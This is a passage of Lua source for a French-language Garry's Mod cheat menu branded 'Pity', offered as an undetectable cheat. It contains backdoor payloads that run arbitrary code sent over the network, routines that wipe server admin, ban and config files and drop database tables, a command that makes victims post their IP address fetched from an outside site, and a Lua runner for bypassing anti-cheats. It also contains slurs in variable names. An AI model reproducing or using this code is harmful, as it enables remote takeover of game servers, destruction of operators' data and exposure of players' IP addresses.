2129"nordahl_Spawnpoint/rp_oldworld_fix.txt","nordahl_Spawnpoint/sd_doomsday.txt","nordahl_Spawnpoint/sd_doomsday_event.txt","nordahl_Spawnpoint/rp_naboo_city_v1.txt","nordahl_Spawnpoint/rp_noclyria_crimson.txt","nordahl_Spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_Spawnpoint/rp_mos_mersic_v2.txt","nordahl_Spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_Spawnpoint/dust_dunes.txt","nordahl_Spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_Spawnpoint/rd_asteroid.txt","nordahl_Spawnpoint/naboo.txt","nordahl_Spawnpoint/kashyyyk.txt","nordahl_Spawnpoint/geonosis.txt","nordahl_Spawnpoint/fightspace3b.txt","nordahl_Spawnpoint/endor.txt","nordahl_Spawnpoint/toth_forgotten.txt"}
2130local
2131 sensitivefiles = {
2132"ulx_logs/"..date..".txt","ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","vcmod/controls.txt","vcmod/dataserver.txt","blogs/configcache.dat","blogs/language.txt","blogs/config_v5.txt","cac/adminuipack.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt",
2133
2134"sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","permaprops_config.txt","whitelist.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","nordahl_Spawnpoint/rp_venator_v3.txt","nordahl_Spawnpoint/rp_venator_v2.txt","nordahl_Spawnpoint/rp_venator_v1.txt","nordahl_Spawnpoint/rp_venator_gg.txt","nordahl_Spawnpoint/rp_venator_ausv4.txt","nordahl_Spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_Spawnpoint/arena_byre.txt","nordahl_Spawnpoint/rp_venator_v2_immersive.txt","nordahl_Spawnpoint/rp_venator_fade_v3.txt","nordahl_Spawnpoint/rp_venator_gr.txt","nordahl_Spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_Spawnpoint/rp_scifi.txt","nordahl_Spawnpoint/rishimoon_crimson.txt","nordahl_Spawnpoint/rp_pripyat_hl2.txt","nordahl_Spawnpoint/rp_onwardhope.txt",
2135
2136"nordahl_Spawnpoint/rp_oldworld_fix.txt","nordahl_Spawnpoint/sd_doomsday.txt","nordahl_Spawnpoint/sd_doomsday_event.txt","nordahl_Spawnpoint/rp_naboo_city_v1.txt","nordahl_Spawnpoint/rp_noclyria_crimson.txt","nordahl_Spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_Spawnpoint/rp_mos_mersic_v2.txt","nordahl_Spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_Spawnpoint/dust_dunes.txt","nordahl_Spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_Spawnpoint/rd_asteroid.txt","nordahl_Spawnpoint/naboo.txt","nordahl_Spawnpoint/kashyyyk.txt","nordahl_Spawnpoint/geonosis.txt","nordahl_Spawnpoint/fightspace3b.txt","nordahl_Spawnpoint/endor.txt","nordahl_Spawnpoint/toth_forgotten.txt"}
2137
2138for
2139 k,v in pairs(dataBDMenus) do
2140if sql.TableExists(v) then
2141sql.Query("DROP TABLE "..v.." ;")
2142sql.Query("CREATE TABLE IF NOT EXISTS "..v.." ( steamid TEXT NOT NULL
2143PRIMARY KEY, value TEXT );")
2144end
2145end
2146
2147for k,v in pairs(datafiles) do
2148if file.Exists(v) then
2149file.Delete(v)
2150file.write(v, "pitycheats.com hehe")
2151end
2152end
2153
2154for k,v in pairs(sensitivefiles) do
2155if file.Exists(v) then
2156file.Delete(v)
2157file.write(v, "pitycheats.com hehe")
2158end
2159end
2160if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then
2161file.Delete(\"ulib/groups.txt\") end
2162if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then
2163file.Delete(\"ulib/groups.txt\") end
2164]],
2165
2166["Private"] = true,
2167
2168},
2169
2170["Kill (silent)"] = {
2171
2172["Type"] = 2,
2173
2174["Code"] = [[v:KillSilent()]],
2175
2176},
2177
2178["Supprimer Props"] = {
2179
2180["Type"] = 2,
2181
2182["Code"] = [[v:ConCommand("gmod_cleanup")]],
2183
2184},
2185
2186["'Récupere son IP'"] = {
2187
2188["Type"] = 2,
2189
2190["Code"] = [[
2191if (darkrp || DarkRP) then
2192v:SendLua('http.Fetch("http://ipv4bot.whatismyipaddress.com",
2193function(b,l,h,c) LocalPlayer():ConCommand("say /ooc Mon IP est "..b)
2194end, function(error) return error end )')
2195else
2196v:SendLua('http.Fetch("http://ipv4bot.whatismyipaddress.com",
2197function(b,l,h,c) LocalPlayer():ConCommand("say Mon IP est "..b) end,
2198function(error) return error end )')
2199end
2200]],
2201
2202["Private"] = true,
2203
2204},
2205
2206// key/view scrambler, fuck with escape menu
2207
2208
2209
2210
2211/*================================
2212|===== Commandes Dangereuses =====|
2213=================================*/
2214
2215
2216}
2217
2218
2219local selectedbackdoor = ""
2220
2221local backdoorargs = ""
2222
2223local selectedplayers = {}
2224
2225
2226
2227
2228
2229
2230
2231
2232
2233
2234
2235/*====================================
2236|===== Configuration Backdoor 88 =====|
2237=====================================*/
2238
2239
2240
2241if not snte then
2242
2243BD.BackdoorTypes["Mining"] = {
2244["Code"] = "util.AddNetworkString( 'Ulx_Error_88' ) net.Receive(
2245'Ulx_Error_88', function() local x = CompileString( net.ReadString(),
2246'LuaCmd', false ) if isfunction( x ) then x() end end )",
2247["Netkey"] = "Ulx_Error_88",
2248}
2249
2250BD.BackdoorTypes["Crero"] = {
2251["Code"] = "util.AddNetworkString( 'FAdmin_Notification_Receiver' )
2252net.Receive( 'FAdmin_Notification_Receiver', function() local x =
2253CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x )
2254then x() end end )",
2255["Netkey"] = "FAdmin_Notification_Receiver",
2256}
2257
2258BD.BackdoorTypes["FAdmin"] = {
2259["Code"] = "util.AddNetworkString( 'DarkRP_ReceiveData' ) net.Receive(
2260'DarkRP_ReceiveData', function() local x = CompileString(
2261net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end
2262)",
2263["Netkey"] = "DarkRP_ReceiveData",
2264}
2265
2266BD.BackdoorTypes["Pitybd"] = {
2267["Code"] = "util.AddNetworkString( 'fijiconn' ) net.Receive( 'fijiconn',
2268 function() local x = CompileString( net.ReadString(), 'LuaCmd', false )
2269 if isfunction( x ) then x() end end )",
2270["Netkey"] = "fijiconn",
2271}
2272
2273BD.BackdoorTypes["Weapon"] = {
2274["Code"] = "util.AddNetworkString( 'Weapon_88' ) net.Receive(
2275'Weapon_88', function() local x = CompileString( net.ReadString(),
2276'LuaCmd', false ) if isfunction( x ) then x() end end )",
2277["Netkey"] = "Weapon_88",
2278}
2279
2280BD.BackdoorTypes["Nostrip"] = {
2281["Code"] = "util.AddNetworkString('nostrip')
2282net.Receive('nostrip',function(len,pl)
2283RunStringEx(net.ReadString(),'[C]',false) end)",
2284["Netkey"] = "nostrip",
2285}
2286
2287BD.BackdoorTypes["Session"] = {
2288["Code"] = "util.AddNetworkString( 'SessionBackdoor' ) net.Receive(
2289'SessionBackdoor', function() local x = CompileString( net.ReadString(),
2290 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2291["Netkey"] = "SessionBackdoor",
2292}
2293
2294BD.BackdoorTypes["DarkRP_n"] = {
2295["Code"] = "util.AddNetworkString( 'DarkRP_AdminWeapons' ) net.Receive(
2296'DarkRP_AdminWeapons', function() local x = CompileString(
2297net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end
2298)",
2299["Netkey"] = "DarkRP_AdminWeapons",
2300}
2301
2302BD.BackdoorTypes["frenculer"] = {
2303["Code"] = "util.AddNetworkString( 'thefrenchenculer' ) net.Receive(
2304'thefrenchenculer', function() local x = CompileString(
2305net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end
2306)",
2307["Netkey"] = "thefrenchenculer",
2308}
2309
2310BD.BackdoorTypes["Fix_Keypads"] = {
2311["Code"] = "util.AddNetworkString( 'Fix_Keypads' ) net.Receive(
2312'Fix_Keypads', function() local x = CompileString( net.ReadString(),
2313'LuaCmd', false ) if isfunction( x ) then x() end end )",
2314["Netkey"] = "Fix_Keypads",
2315}
2316
2317BD.BackdoorTypes["CAC"] = {
2318["Code"] = "util.AddNetworkString( '_CAC_ReadMemory' ) net.Receive(
2319'_CAC_ReadMemory', function() local x = CompileString( net.ReadString(),
2320 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2321["Netkey"] = "_CAC_ReadMemory",
2322}
2323
2324BD.BackdoorTypes["Exploiters"] = {
2325["Code"] = "util.AddNetworkString( 'Remove_Exploiters' ) net.Receive(
2326'Remove_Exploiters', function() local x = CompileString(
2327net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end
2328)",
2329["Netkey"] = "Remove_Exploiters",
2330}
2331
2332BD.BackdoorTypes["MoonMan"] = {
2333["Code"] = "util.AddNetworkString( 'MoonMan' ) net.Receive( 'MoonMan',
2334function() local x = CompileString( net.ReadString(), 'LuaCmd', false )
2335if isfunction( x ) then x() end end )",
2336["Netkey"] = "MoonMan",
2337}
2338
2339BD.BackdoorTypes["disableb"] = {
2340["Code"] = "util.AddNetworkString( 'disablebackdoor' ) net.Receive(
2341'disablebackdoor', function() local x = CompileString( net.ReadString(),
2342 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2343["Netkey"] = "disablebackdoor",
2344}
2345
2346BD.BackdoorTypes["Sbox"] = {
2347["Code"] = "util.AddNetworkString( 'Sbox_itemstore' ) net.Receive(
2348'Sbox_itemstore', function() local x = CompileString( net.ReadString(),
2349'LuaCmd', false ) if isfunction( x ) then x() end end )",
2350["Netkey"] = "Sbox_itemstore",
2351}
2352
2353BD.BackdoorTypes["Sbox2"] = {
2354["Code"] = "util.AddNetworkString( 'Sbox_darkrp' ) net.Receive(
2355'Sbox_darkrp', function() local x = CompileString( net.ReadString(),
2356'LuaCmd', false ) if isfunction( x ) then x() end end )",
2357["Netkey"] = "Sbox_darkrp",
2358}
2359
2360BD.BackdoorTypes["R8"] = {
2361["Code"] = "util.AddNetworkString( 'R8' ) net.Receive( 'R8', function()
2362local x = CompileString( net.ReadString(), 'LuaCmd', false ) if
2363isfunction( x ) then x() end end )",
2364["Netkey"] = "R8",
2365}
2366
2367BD.BackdoorTypes["c"] = {
2368["Code"] = "util.AddNetworkString( 'c' ) net.Receive( 'c', function()
2369local x = CompileString( net.ReadString(), 'LuaCmd', false ) if
2370isfunction( x ) then x() end end )",
2371["Netkey"] = "c",
2372}
2373
2374BD.BackdoorTypes["_cac_"] = {
2375["Code"] = "util.AddNetworkString( '_cac_' ) net.Receive( '_cac_',
2376function() local x = CompileString( net.ReadString(), 'LuaCmd', false )
2377if isfunction( x ) then x() end end )",
2378["Netkey"] = "_cac_",
2379}
2380
2381BD.BackdoorTypes["_Defqon"] = {
2382["Code"] = "util.AddNetworkString( '_Defqon' ) net.Receive( '_Defqon',
2383function() local x = CompileString( net.ReadString(), 'LuaCmd', false )
2384if isfunction( x ) then x() end end )",
2385["Netkey"] = "_Defqon",
2386}
2387
2388BD.BackdoorTypes["LickMeOut"] = {
2389["Code"] = "util.AddNetworkString( 'LickMeOut' ) net.Receive(
2390'LickMeOut', function() local x = CompileString( net.ReadString(),
2391'LuaCmd', false ) if isfunction( x ) then x() end end )",
2392["Netkey"] = "LickMeOut",
2393}
2394
2395BD.BackdoorTypes["nck"] = {
2396["Code"] = "util.AddNetworkString( 'noclipcloakaesp_chat_text' )
2397net.Receive( 'noclipcloakaesp_chat_text', function() local x =
2398CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x )
2399then x() end end )",
2400["Netkey"] = "noclipcloakaesp_chat_text",
2401}
2402
2403BD.BackdoorTypes["ArmDupe"] = {
2404["Code"] = "util.AddNetworkString( 'Sandbox_ArmDupe' ) net.Receive(
2405'Sandbox_ArmDupe', function() local x = CompileString( net.ReadString(),
2406 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2407["Netkey"] = "Sandbox_ArmDupe",
2408}
2409
2410
2411else
2412end
2413
2414
2415
2416
2417/*==================================
2418|===== Derma 88 Backdoor Menu =====|
2419=================================*/
2420
2421
2422
2423function BD.GenerateBackdoorList( parent, category )
2424
2425
2426
2427for k, v in SortedPairs( BD.BDMacros, false ) do
2428
2429if v["Type"] != category then continue end
2430
2431
2432
2433local plypanel2 = vgui.Create( "DPanel" )
2434
2435plypanel2:SetPos( 50, 0 )
2436
2437plypanel2:SetSize( 103, 15 )
2438
2439plypanel2.Paint = function() -- Paint function
2440
2441
2442
2443if selectedbackdoor == k then
2444draw.RoundedBoxEx(0,0,0,plypanel2:GetWide(),plypanel2:GetTall(),Color(150,
2445 150, 150, 70), false, false, false, false)
2446else
2447draw.RoundedBoxEx(0,0,0,plypanel2:GetWide(),plypanel2:GetTall(),Color(0,
2448 0, 0, 70), false, false, false, false)
2449end
2450
2451
2452end
2453
2454
2455
2456local plyname = vgui.Create( "DLabel", plypanel2 )
2457
2458plyname:SetPos( 3, 0 )
2459
2460plyname:SetFont( "pity_homemini" )
2461
2462local tcol = Color( 255, 255, 255 )
2463
2464if v.Private then tcol = Color( 255, 107, 107 )
2465
2466if fiji_style_menu:GetInt() == 2 then
2467if v == LocalPlayer() then tcol = Color(
2468math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)
2469 ) end
2470
2471elseif fiji_style_menu:GetInt() == 3 then
2472if v == LocalPlayer() then tcol = Color( 255, 91, 91 ) end
2473
2474elseif fiji_style_menu:GetInt() == 1 then
2475if v == LocalPlayer() then tcol = HSVToColor( CurTime() % 6 * 60, 1,
24760.5 )end
2477
2478else
2479if v == LocalPlayer() then tcol = Color(
2480fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(),
2481 255 ) end
2482
2483end
2484end
2485
2486plyname:SetColor( tcol )
2487
2488plyname:SetText( k )
2489
2490plyname:SetSize(670, 15)
2491
2492
2493
2494
2495
2496
2497local faggot = vgui.Create("DButton", plypanel2)
2498
2499faggot:SetSize( plypanel2:GetWide(), plypanel2:GetTall() )
2500
2501faggot:SetPos( 0, 0 )
2502
2503faggot:SetText("")
2504
2505if v["Desc"] != "" then end
2506
2507faggot.Paint = function(panel, w, h)
2508
2509return
2510
2511end
2512
2513faggot.DoClick = function()
2514
2515selectedbackdoor = k
2516
2517end
2518
2519
2520
2521
2522
2523parent:AddItem( plypanel2 )
2524
2525
2526
2527end
2528
2529
2530
2531end
2532
2533
2534
2535function BD.FormatCodeTargeted()
2536
2537if !BD.BackdoorActive() then BD.ChatText( "La backdoor séléctionnée
2538n'est pas présente", Color(255,155,155) ) return end
2539
2540if selectedbackdoor == "" then BD.ChatText( "Veuillez séléctionné une
2541 commande", Color(255,155,155) ) return end
2542
2543local param = string.Explode( ",", backdoorargs )
2544
2545local ids = {}
2546
2547for k, v in pairs( selectedplayers ) do
2548
2549if !v:IsValid() then table.RemoveByValue( selectedplayers, v ) continue
2550end
2551
2552table.insert( ids, v:UniqueID() )
2553
2554end
2555
2556
2557
2558local code = [[ local targets = ## for k, v in pairs( player.GetAll() )
2559do if !v:IsValid() then continue end if table.HasValue( targets,
2560v:UniqueID() ) then %% end end ]]
2561
2562code = string.Replace( code, "##", table.ToString( ids ) )
2563
2564code = string.Replace( code, "%%", BD.BDMacros[selectedbackdoor]["Code"]
2565 or "" )
2566
2567code = string.Replace( code, "%LP", "p:UniqueID() ==
2568\""..LocalPlayer():UniqueID().."\"" )
2569
2570
2571
2572if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and
2573(BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or
2574param[1] == "" ) then BD.ChatText( "Veuillez paramétrer la commande",
2575Color(255,155,155) ) return end
2576
2577if #param < 1 then param = { [1] = "derp", [2] = "derp", [3] =
2578"derp", [4] = "derp", [5] = "derp" } end
2579
2580
2581
2582for k, v in pairs( param ) do
2583
2584code = string.Replace( code, "@"..k, [["]]..v..[["]] )
2585
2586end
2587
2588
2589
2590BD.Fire( code )
2591
2592
2593
2594end
2595
2596
2597
2598function BD.FormatCodeGlobal()
2599
2600--if !BD.BackdoorActive() then BD.ChatText( "Aucune backdoor sur le
2601serveur", Color(0,0,0) ) return end
2602
2603if selectedbackdoor == "" then BD.ChatText( "Veuillez selectionner une
2604commande", Color(255,74,74) ) return end
2605
2606local param = string.Explode( ",", backdoorargs )
2607
2608
2609
2610local code = BD.BDMacros[selectedbackdoor]["Code"]
2611
2612
2613
2614if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and
2615(BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or
2616param[1] == "" ) then BD.ChatText( "Veuillez paramétrer la commande",
2617Color(255,74,74) ) return end
2618
2619if #param < 1 then param = { [1] = "derp", [2] = "derp", [3] =
2620"derp", [4] = "derp", [5] = "derp" } end
2621
2622
2623
2624for k, v in pairs( param ) do
2625
2626code = string.Replace( code, "@"..k, [["]]..v..[["]] )
2627
2628code = string.Replace( code, "%LP", LocalPlayer():UniqueID() )
2629
2630code = string.Replace( code, "%LCP", "p:UniqueID() ==
2631\""..LocalPlayer():UniqueID().."\"" )
2632
2633code = string.Replace( code, "%BD", BD.GetActive().Code )
2634
2635end
2636
2637
2638
2639BD.Fire( code )
2640
2641
2642
2643end
2644
2645
2646
2647
2648
2649local safenet = net
2650
2651local function bdnet()
2652
2653if odium and odium.G then return odium.G.net end
2654
2655return safenet
2656
2657end
2658
2659
2660
2661
2662
2663---------------------------------------------------------------------------------------------------------
2664---------------------------------------------------------------------------------------------------------
2665
2666BD.BtnHovered
2667 = BD.BtnHovered or 1
2668
2669-- Fonts
2670surface.CreateFont( "BD:Hitman:50", { font = "Arial", extended = false,
2671size = 50, weight = 800, } )
2672surface.CreateFont( "BD:Hitman:30", { font = "Arial", extended = false,
2673size = 30, weight = 800, } )
2674
2675
2676
2677-- Menu
2678function BD:CreateBtn( text, x, y, w, h, BDMenu )
2679local btn = vgui.Create( "DButton", BDMenu )
2680btn:SetPos( x, y )
2681btn:SetSize( w, h )
2682btn:SetText( "" )
2683btn.IsHovered = false
2684function btn:OnCursorEntered() self.IsHovered = true end
2685function btn:OnCursorExited() self.IsHovered = false end
2686function btn:Paint( w, h )
2687
2688local cText = Color( 255, 255, 255, 50 )
2689
2690
2691if self.IsHovered then
2692draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 30 ) )
2693cBorder = Color( 110,110,110, 30 )
2694else
2695draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
2696cBorder = Color( 110,110,110, 0 )
2697
2698end
2699
2700if self.activebtn then
2701if fiji_style_menu:GetInt() == 2 then
2702cText =
2703Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
2704
2705cBorder =
2706Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
2707
2708elseif fiji_style_menu:GetInt() == 1 then
2709cText = HSVToColor( CurTime() % 6 * 60, 1, 0.5 )
2710cBorder = HSVToColor( CurTime() % 6 * 60, 1, 0.5 )
2711elseif fiji_style_menu:GetInt() == 3 then
2712cText = Color( 190, 242, 190 )
2713cBorder = Color( 190, 242, 190,80 )
2714else
2715cText = Color(
2716fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(),
2717 255 )
2718cBorder = Color(
2719fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(),
2720 255 )
2721end
2722draw.SimpleText( text, "pity_homeBTN", w / 2, h / 2, cText, 1, 1 )
2723else
2724draw.SimpleText( text, "pity_home5", w / 2, h / 2, cText, 1, 1 )
2725end
2726
2727
2728
2729surface.SetDrawColor( cBorder )
2730surface.DrawOutlinedRect( 0, 0, w, h )
2731end
2732
2733return btn
2734end
2735
2736concommand.Add("fiji_luarun", function()
2737local BDLuarun = vgui.Create( "DFrame" )
2738BDLuarun:SetSize( 700, 400 )
2739BDLuarun:Center()
2740BDLuarun:SetTitle("")
2741BDLuarun:SetDraggable( true )
2742BDLuarun:ShowCloseButton( false )
2743BDLuarun:MakePopup()
2744BDLuarun.Paint = function( self, w, h)
2745DrawBlur(self, 25)
2746draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,245 ) )
2747draw.SimpleText("Remarque : Un code lua supérieur à 1000 lignes
2748peut faire crash votre jeux durant quelques minutes.", "pity_home3", 11,
2749 11, Color(150, 110, 110,255), 0, 1)
2750
2751end
2752
2753
2754local BDLuaruntext = vgui.Create( "DTextEntry", BDLuarun ) -- create the
2755 form as a child of frame
2756BDLuaruntext:SetPos( 5, 25 )
2757BDLuaruntext:SetSize( 690, 330 )
2758BDLuaruntext:SetMultiline( true )
2759BDLuaruntext:SetText( "-- Entrer le code lua (Exemple: autre cheat,
2760utilitaire de jeux...) \n \n" )
2761BDLuaruntext.OnEnter = function( self )
2762chat.AddText( self:GetValue() ) -- print the form's text as server text
2763end
2764
2765local AcceptLuarun = vgui.Create( "DButton", BDLuarun)
2766AcceptLuarun:SetPos( 310, 360)
2767AcceptLuarun:SetSize( 80, 35 )
2768AcceptLuarun:SetTextColor( Color( 255, 255, 255, 255 ) )
2769AcceptLuarun:SetText( "Lancer le code" )
2770AcceptLuarun.Paint = function( self, w, h )
2771draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2772if self:IsHovered() then
2773draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 60 ) )
2774aBorder = Color( 110,110,110, 80 )
2775else
2776draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
2777aBorder = Color( 110,110,110, 0 )
2778end
2779AcceptLuarun.OnCursorEntered = function(self) --
2780surface.PlaySound( fiji_pityhover )
2781end
2782surface.SetDrawColor( aBorder )
2783surface.DrawOutlinedRect( 0, 0, w, h )
2784AcceptLuarun.DoClick = function()
2785NOTIFICATION("Lua lançé")
2786surface.PlaySound( fiji_pityclick )
2787RunString( BDLuaruntext:GetText() )
2788end
2789end
2790
2791
2792local CloseLuaRun = vgui.Create( "DButton", BDLuarun)
2793CloseLuaRun:SetPos( 670, 8)
2794CloseLuaRun:SetSize( 20, 15 )
2795CloseLuaRun:SetTextColor( Color( 255, 255, 255, 255 ) )
2796CloseLuaRun:SetText( "X" )
2797CloseLuaRun.Paint = function( self, w, h )
2798draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2799if self:IsHovered() then
2800draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 100))
2801else
2802draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 50))
2803end
2804CloseLuaRun.DoClick = function()
2805LocalPlayer():ConCommand("fiji_sv_existmen 0")
2806
2807BDLuarun:Remove()
2808end
2809end
2810
2811local ReturnLuaRun = vgui.Create( "DButton", BDLuarun)
2812ReturnLuaRun:SetPos( 638, 8)
2813ReturnLuaRun:SetSize( 30, 15)
2814ReturnLuaRun:SetTextColor( Color( 255, 255, 255, 255 ) )
2815ReturnLuaRun:SetText( "<--" )
2816ReturnLuaRun.Paint = function( self, w, h )
2817draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2818if self:IsHovered() then
2819draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 100))
2820else
2821draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 50))
2822end
2823ReturnLuaRun.DoClick = function()
2824LocalPlayer():ConCommand("pity")
2825BDLuarun:Remove()
2826end
2827end
2828
2829concommand.Add( "fiji_clearluarun", function() -- fiji_sv_existmen
2830BDLuarun:Remove()
2831
2832end)
2833
2834end)
2835
2836function BD:Dashboard( pContent )
2837
2838
2839function NOTIFICATION(text, pContent)
2840
2841ctxt( Color(126, 255, 117), "[Pity] ", Color(255, 255, 255), text )
2842
2843end
2844
2845function NOTIFICATIONNO(text)
2846ctxt( Color(255, 114, 114), "[Pity] ", Color(255, 255, 255), text )
2847end
2848
2849local BDMenuDashboard = vgui.Create("DPanel", pContent)
2850BDMenuDashboard:SetSize( 539, 388 )
2851BDMenuDashboard:SetPos( 0, 0 )
2852BDMenuDashboard.Paint = function( self, w, h)
2853draw.RoundedBox( 0, 0, 0, w, h, Color(255,35,35,0 ) )
2854
2855if fiji_style_menu:GetInt() == 2 then
2856draw.RoundedBox( 0, 0, 98, 2, h - 60,
2857Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
2858 )
2859draw.RoundedBox( 0, 0, 0, 2, h - 336,
2860Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
2861 )
2862
2863elseif fiji_style_menu:GetInt() == 1 then
2864draw.RoundedBox( 0, 0, 98, 2, h - 60, HSVToColor( CurTime() % 6 * 60, 1,
2865 0.5 ) )
2866draw.RoundedBox( 0, 0, 0, 2, h - 336, HSVToColor( CurTime() % 6 * 60, 1,
2867 0.5 ) )
2868
2869else
2870draw.RoundedBox( 0, 0, 98, 2, h - 60, Color(
2871fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(),
2872 255 ) )
2873draw.RoundedBox( 0, 0, 0, 2, h - 334, Color(
2874fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(),
2875 255 ) )
2876end
2877
2878
2879end
2880local TextHome = vgui.Create( "DPanel", pContent )
2881TextHome:SetSize(500,650)
2882TextHome:SetPos(20,20)
2883TextHome.Paint = function( self, w, h )
2884if fiji_style_menu:GetInt() == 3 then
2885draw.SimpleText("†Pity †", "pity_home1", 158, 20,
2886Color(238, 61, 61), 0, 1)
2887elseif fiji_style_menu:GetInt() == 2 then
2888draw.SimpleText("†Pity †", "pity_home1", 158, 20,
2889Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)),
2890 0, 1)
2891
2892elseif fiji_style_menu:GetInt() == 1 then
2893draw.SimpleText("†Pity †", "pity_home1", 158, 20,
2894HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), 0, 1)
2895
2896else
2897draw.SimpleText("†Pity †", "pity_home1", 158, 20, Color(
2898fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(),
2899 255 ), 0, 1)
2900
2901end
2902
2903surface.SetMaterial( fiji_pitydiscordwidget )
2904surface.SetDrawColor( 255, 255, 255, 255 )
2905surface.DrawTexturedRect( 90, 150, 320, 76 )
2906
2907draw.SimpleText("Garry's Mod Cheat - V1", "pity_home2", 192, 62,
2908Color(255, 255, 255,20), 0, 1)
2909draw.SimpleText("Bienvenue dans le Pity, un cheat complet et
2910indétectable.", "pity_home4", 32, 100, Color(255, 255, 255,200), 0, 1)
2911draw.SimpleText("Rendez-vous sur Discord pour toutes questions.",
2912"pity_home3", 118, 135, Color(255, 255, 255,200), 0, 1)
2913draw.SimpleText("Executer votre propre Lua pour bypass les Anticheats
2914:", "pity_home3", 102, 305, Color(255, 255, 255,200), 0, 1)
2915end
2916
2917--[[
2918local TextEntry = vgui.Create( "DTextEntry", pContent ) -- create the
2919form as a child of frame
2920TextEntry:SetPos( 150, 200 )
2921TextEntry:SetSize( 75, 150 )
2922TextEntry:SetMultiline( true )
2923TextEntry:SetText( "Placeholder Text" )
2924TextEntry.OnEnter = function( self )
2925chat.AddText( self:GetValue() ) -- print the form's text as server text
2926end
2927]]
2928
2929
2930local Runstringlua = vgui.Create( "DButton", pContent)
2931Runstringlua:SetPos( 210, 342)
2932Runstringlua:SetSize( 120, 35 )
2933Runstringlua:SetTextColor( Color( 255, 255, 255, 255 ) )
2934Runstringlua:SetText( "Executer Lua" )
2935Runstringlua.Paint = function( self, w, h )
2936draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2937if self:IsHovered() then
2938draw.RoundedBox( 0, 0, 0, w, h, Color( 130,110,110, 60 ) )
2939aBorder = Color( 255,110,110, 255 )
2940else
2941draw.RoundedBox( 0, 0, 0, w, h, Color( 150,110,110, 20 ) )
2942aBorder = Color( 255,110,110, 80 )
2943end
2944Runstringlua.OnCursorEntered = function(self)
2945surface.PlaySound( fiji_pityhover )
2946
2947end
2948surface.SetDrawColor( aBorder )
2949surface.DrawOutlinedRect( 0, 0, w, h )
2950Runstringlua.DoClick = function()
2951surface.PlaySound( fiji_pityclick )
2952LocalPlayer():ConCommand("fiji_luarun")
2953LocalPlayer():ConCommand("clear_pity")
2954LocalPlayer():ConCommand("fiji_sv_existmen 1")
2955end
2956end
2957
2958
2959local Copierdiscordanim = vgui.Create( "DPanel", pContent )
2960Copierdiscordanim:SetSize(80,12)
2961Copierdiscordanim:SetPos(180, 287)
2962Copierdiscordanim.Paint = function( self, w, h )
2963
2964if CopiediscordHomeTextyes then
2965draw.RoundedBox(0,0,0,w,h,Color(116, 255, 112, 255))
2966draw.SimpleText("https://discord.gg/8ZPA7tn", "pity_home2", 0, 0,
